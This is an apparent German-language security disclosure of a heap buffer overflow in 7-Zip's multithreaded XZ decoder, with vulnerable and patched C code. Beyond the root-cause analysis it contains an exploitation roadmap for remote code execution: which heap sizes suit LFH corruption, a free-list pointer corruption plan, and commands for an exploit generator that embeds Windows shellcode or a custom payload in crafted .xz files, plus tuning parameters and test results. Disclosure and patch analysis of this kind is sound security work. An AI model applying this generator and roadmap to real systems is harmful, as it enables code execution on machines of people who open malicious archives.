
7-Zip XZ Decoder Heap-Pufferüberlauf - Vollständige Analyse, Grundursache, PoC und RCE-Ausnutzungs-Roadmap
Kritischer Schweregrad | CVSS: 8.8 (Hoch) | CWE-122: Heap-basierter Pufferüberlauf
Betroffen: 7-Zip ≤ 26.01 | Behoben: 7-Zip 26.02 (2026-06-25)
Entdeckt und analysiert von: Li Yuxuan (liyuxuan504-byte) und Team
Im multithreaded XZ-Decoder-Pfad von 7-Zip Version ≤ 26.01 existiert ein Heap-Pufferüberlauf. Eine manipulierte .xz-Datei kann einen Schreibzugriff jenseits des heap-allocierten Ausgabepuffers auslösen, was zu Folgendem führt:
STATUS_ACCESS_VIOLATION (0xC0000005)Die Schwachstelle befindet sich in MixCoder_Code() in C/XzDec.c, wo der SingleBuf (outBuf)-Zweig ein ungeprüftes destLen2 an den LZMA2-Decoder übergibt, ohne es gegen die verbleibende Pufferkapazität (outBufSize - outWritten) zu begrenzen.
Jedes System oder jede Anwendung, die ein anfälliges 7-Zip (oder 7z.dll) zum Extrahieren nicht vertrauenswürdiger .xz-Dateien verwendet, ist gefährdet – der multithreaded Pfad ist auf Mehrkernsystemen standardmäßig aktiviert.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf-Zweig, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← KEINE Begrenzung
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← kann dicBufSize überschreiten
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2-Kopie-Chunk-Schleife: memcpy(dic + dicPos, src, size)
→ dicPos überschreitet dicBufSize → HEAP-ÜBERLAUF
Anfällig (26.01) — C/XzDec.c ~Z.606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← roher Wert, keine Begrenzung!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← protokolliert Summe, prüft aber nie
}
Behoben (26.02) — C/XzDec.c ~Z.605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEUE Begrenzungsprüfung
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // Inkonsistenz → Abbruch
destLen2 -= p->outWritten; // auf verbleibende Kapazität begrenzen!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
Die Korrektur besteht aus 3 Zeilen. Sie subtrahiert p->outWritten (bereits in diesen outBuf geschriebene Bytes) von destLen2, bevor es an den LZMA2-Decoder übergeben wird, und stellt so sicher, dass der Decoder nie über den allocierten Puffer hinaus schreiben kann.
Im single-threaded Pfad wendet XzUnpacker_Code vor dem Aufruf von MixCoder_Code eine eigene unpackSize-basierte rem-Begrenzung an. Diese Begrenzung drosselt die Ausgabe korrekt. Der multithreaded SingleBuf-Pfad umgeht diese Begrenzung, da er destLenOrig direkt durchreicht – die vorgelagerte Begrenzung ist unwirksam, wenn destLen auf die volle verbleibende Eingabegröße voreingestellt ist statt auf die tatsächliche verbleibende Pufferkapazität.
Der outBuf wird auf dem CRT-Heap über ISzAlloc_Alloc(allocMid, unpackSize) allociert:
unpackSize | Allokator | Exploitierbarkeit |
|---|---|---|
| ≤ 16 KB | LFH (Low Fragmentation Heap) | ★ Am besten für RCE – benachbarte Objekte im selben Bucket |
| 16–64 KB | Segment Heap (Backend) | Möglich – Korruption der Freiliste |
| ≥ 64 KB | VirtualAlloc (seitengrenzenausgerichtet) | Nur DoS – Guard-Page fängt Überlauf ab |
Der vielversprechendste Exploitationsansatz:
unpackSize (256–16384 Bytes) verwenden, um LFH-Allokation auszulösennext-Zeiger korrumpieren → erreicht einen beliebigen Allokationsprimitive| Fähigkeit | Status |
|---|---|
| DoS (Absturz) | ✅ Bestätigt, zuverlässig auf 7-Zip 26.00 x64 |
| Stiller Heap-Überlauf (LFH) | ✅ Bestätigt – schreibt über Puffer hinaus, Exit-Code 2, kein Absturz |
| Kontrollierte Nutzlastzustellung | ✅ Vollständig steuerbar über LZMA2-Kopie-Chunk-Daten |
| Heap-Layout-Primitive | ✅ Konzept nachgewiesen – erfordert zielabhängige Layout-Optimierung |
| Vollständige RCE-Kette | ❌ In Bearbeitung – benötigt Heap-Layout-Analyse auf dem Ziel |
Herkömmliche Debugger (x64dbg, WinDbg) verändern das Prozesserstellungsverhalten. Unter einem Debugger lädt 7z.dll möglicherweise nie den multithreaded XZ-Pfad – der Prozess fällt stillschweigend in den single-threaded Modus zurück, in dem die Schwachstelle nicht auslöst. Die Vorgehensweise erforderte:
tools/)poc/poc-cve-2026-14266-rce.py ist ein voll ausgestatteter XZ-Exploit-Generator:
# Absturzbestätigung (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset-Erkennung (zyklisches Muster):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode-Nutzlast:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Benutzerdefinierte binäre Nutzlast:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
| Parameter | Beschreibung | Empfohlen |
|---|---|---|
--unpack-size | Block deklarierte unpackSize (= outBuf-Allokationsgröße) | 256–4096 für LFH-RCE |
--overflow | Gesamtanzahl Bytes, die über outBuf hinaus geschrieben werden | 4096–32768 |
--chunk-size | LZMA2-Kopie-Chunk-Datengröße (1–65535) | Darf unpackSize nicht gleichmäßig teilen! Primzahl (97) oder --force-align-overflow verwenden |
--payload-cyclic | Zyklisches Muster zur Offset-Erkennung | Zuerst verwenden, dann durch echte Nutzlast ersetzen |
--payload-shellcode | Win x64 WinExec("calc.exe")-Shellcode einbetten | ~276 Bytes |
# Multithreaded (anfälliger Pfad):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NICHT anfällig – zum Vergleich):
7z.exe x poc.xz -so -mmt=1 > NUL
Getestet auf: Windows 11 Pro x64 (Build 26200) + 7-Zip 26.00
unpackSize | chunk_size | Overflow | Ergebnis |
|---|---|---|---|
| 256 KB (0x40000) | 4096 (ausgerichtet) | ~32 KB | 0xC0000005 – Zugriffsverletzung (Guard-Page) |
| 256 KB | 3 (original DoS) | ~30 KB | 0xC0000005 – Zugriffsverletzung |
| 256 KB | 4096 | ~32 KB | 0xC0000374 – Heap-Korruption erkannt |
| 256 B | 97 | ~1 KB | Exit 2 – Stiller Überlauf! |
| 4 KB | 97 | ~16 KB | Exit 2 – Stiller Überlauf! |
| 16 KB | 97 | ~32 KB | Exit 2 – Stiller Überlauf! |